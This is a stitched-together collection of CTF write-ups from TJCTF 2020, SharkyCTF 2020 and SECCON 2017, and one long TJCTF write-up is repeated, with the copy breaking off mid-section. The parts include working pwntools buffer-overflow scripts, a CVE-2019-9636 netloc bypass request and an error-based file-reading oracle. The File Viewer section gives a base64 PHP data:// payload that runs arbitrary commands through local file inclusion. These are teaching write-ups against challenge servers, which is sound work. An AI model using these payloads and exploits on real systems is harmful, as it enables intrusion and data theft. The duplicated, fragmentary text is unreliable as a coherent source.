# TJCTF – Tinder
* **Category:** binary* **Points:** 25
## Challenge
> Start swiping!> Attachments:> > binary> > nc p1.tjctf.org 8002
## Solution
if we dissassemble the binary we see a cmp instruction that leads to the flag :

btw `var_C = 0`
and we see that it reads before the bio at `ebp-0x80` and then compares the integer at `ebp` with `0x0C0D3D00D`
so by playing around to find the exact offset which is `0x74`
I wrote a [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/tinder/solve.py) using pwntools to get a match (I mean the flag)
```tjctf{0v3rfl0w_0f_m4tch35}``` |
# SharkyCTF 2020I basically didn't work on this CTF much and spent my time doing other stuff :).
RGBsec got ~~3rd~~ 4th my b.
## Pain in the ass> It looks like someone dumped our database. Please help us know what has been leaked ...>> Attached: pain-in-the-ass.pcapng
After waiting a while for the whole 26 MB of pcapng glory to download, we open the packets in WireShark.
It seems someone has been running a blind SQLi, and extracting the password of a user called `d4rk2phi`.
We can dump everything related to `d4rk2phi` with `strings pain-in-the-ass.pcapng > dump.txt`.
After that, we just have to match the char number and char in the blind SQLi:
```pythonimport re
f = open("dump.txt").readlines()
offset_regex = r"OFFSET\s\d\),(\d+)"char_regex = r"=\s\'(.)\'"
pw = [""]*80
for i in f: try: offset = int(re.search(offset_regex, i).group(1))
char = re.search(char_regex, i).group(1)
pw[offset] = char except: pass
print(''.join(pw))# hkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}# IDK why the first character isn't there```
Flag: `shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}`
## Containment >Hello, welcome on "Containment Forever"! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.>>containment-forever.sharkyctf.xyz
We are given some entries in a database, with namely their ObjectID. This reminded me of an [ACTF2018 challenge](https://www.pwndiary.com/write-ups/angstrom-ctf-2018-the-best-website-write-up-web230/). It's the same solve :).
```pythonimport requests
url = "http://containment-forever.sharkyctf.xyz/item/"
t1 = "5e75dab2"t2 = "5e948a3a"mid = "d7b160"pid = "0013"c = 0x655bb5
for i in range(200): offset = hex(c+i)[2:]
p = requests.get(url + t1 + mid + pid + offset) if p.ok: print(url + t1 + mid + pid + offset) break
for i in range(200): offset = hex(c+i)[2:]
p = requests.get(url + t2 + mid + pid + offset) if p.ok: print(url + t2 + mid + pid + offset) break```
## Aqua world>My friend opened this handmade aquarium blog recently and told me some strangers connected to his admin panel and he doesn't understand how it is possible.. I'm asking you to get the answer!>>http://aquaworld.sharkyctf.xyz/>>Hint: WTF this PYTHON version is deprecated!!!
From the hint we can probably assume it's going to be a "find-the-CVE" type problem.
Inspecting response headers from the page reveals the server is using `Werkzeug/1.0.1 Python/3.7.2`.
After hitting the cool green `Log in anonymously` button, we decide to visit the grayed out "Admin" link through inspect element.

which takes us to `/admin-query?flag=flag`:
> Hi anonymous You need to connect locally in order to access the admin section (and get the flag) but you current netlocation (netloc) is http://aquaworld.sharkyctf.xyz
We need to somehow get the server to think that we were accessing from localhost.
My first reaction was to somehow SSRF, but there was no attack surface for that.
Going back to the hint, we search for [Python 3.7.2 CVEs](https://www.cvedetails.com/vulnerability-list/vendor_id-10210/product_id-18230/version_id-285731/Python-Python-3.7.2.html).
[CVE-2019-9636](https://www.cvedetails.com/cve/CVE-2019-9636/) jumps out immediately, as it has the word `netloc` in the description.
We can implement an attack following this thread: [https://bugs.python.org/issue36216](https://bugs.python.org/issue36216).
It's important to use a version of Python <= 3.7.2 for the solve script, which still has the bug.
I got stuck here for a while, trying every combination of the attack with the url. Eventually bAse figures out you have to put the unicode+@+localhost at the end of the ENDPOINT, not at the end of the netloc or anywhere else.
Also, keep the `Authorization` header unless you want a 403.
```pythonimport requests
headers = { "Authorization":"Basic YW5vbnltb3VzOmFub255bW91cw=="}
p = requests.get("http://aquaworld.sharkyctf.xyz/admin-query\[email protected]?flag=flag", headers=headers)print(p.text)```
Flag: `shkCTF{NFKC_normalization_can_be_dangerous!_8471b9b2da83011a07efc2899819da65}`. |
# TJCTF: binary
Written by KyleForkBomb
_I heard there's someone selling shells? They seem to be out of stock though..._
`nc p1.tjctf.org 8009`
## Beginnings
Starting the program will look like this: ```sh$ ./seashellsWelcome to Sally's Seashore Shell ShopWould you like a shell?yes!!!!! <-- user inputwhy are you even here?```
And the associated (stripped) decompiled code:```cint main() { char s1[0xA]; puts("Welcome to Sally's Seashore Shell Shop"); puts("Would you like a shell?"); gets(s1); if ( !strcasecmp(s1, "yes") ) puts("sorry, we are out of stock"); else puts("why are you even here?"); return 0;}```
This challenge is a classic buffer-overflow challenge. We take a look at `checksec` and gather our options:

PIE's off, and we can notice this small `shell()` function embedded in the binary:


Although there are if-checks, we'll just jump over them and head straight for the `system()` call (address shown above):

That'll be the challenge.
## flag
`tjctf{she_s3lls_se4_sh3ll5}`
## code```pythonfrom pwn import *binsh = 0x4006E3to_r = 0xA+8r = remote('p1.tjctf.org', 8009)r.sendlineafter('?\n', to_r*'A' + p64(binsh))r.interactive()``` |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
In `SECCON 2017 - video_player` challenge, there is a `Use After Free (UAF)` vulnerability by which we can mount `fastbin attack` to create `overlapping chunks`. Using this technique, we can leak a heap address to figure out the layout of chunks and then find `libc` base address by leaking `read@GOT`. Finally, we can overwrite `__malloc_hook` with `one gadget` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge in `C++` programs where we can learn about `vtable` (and `virtual calls`) as well as bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

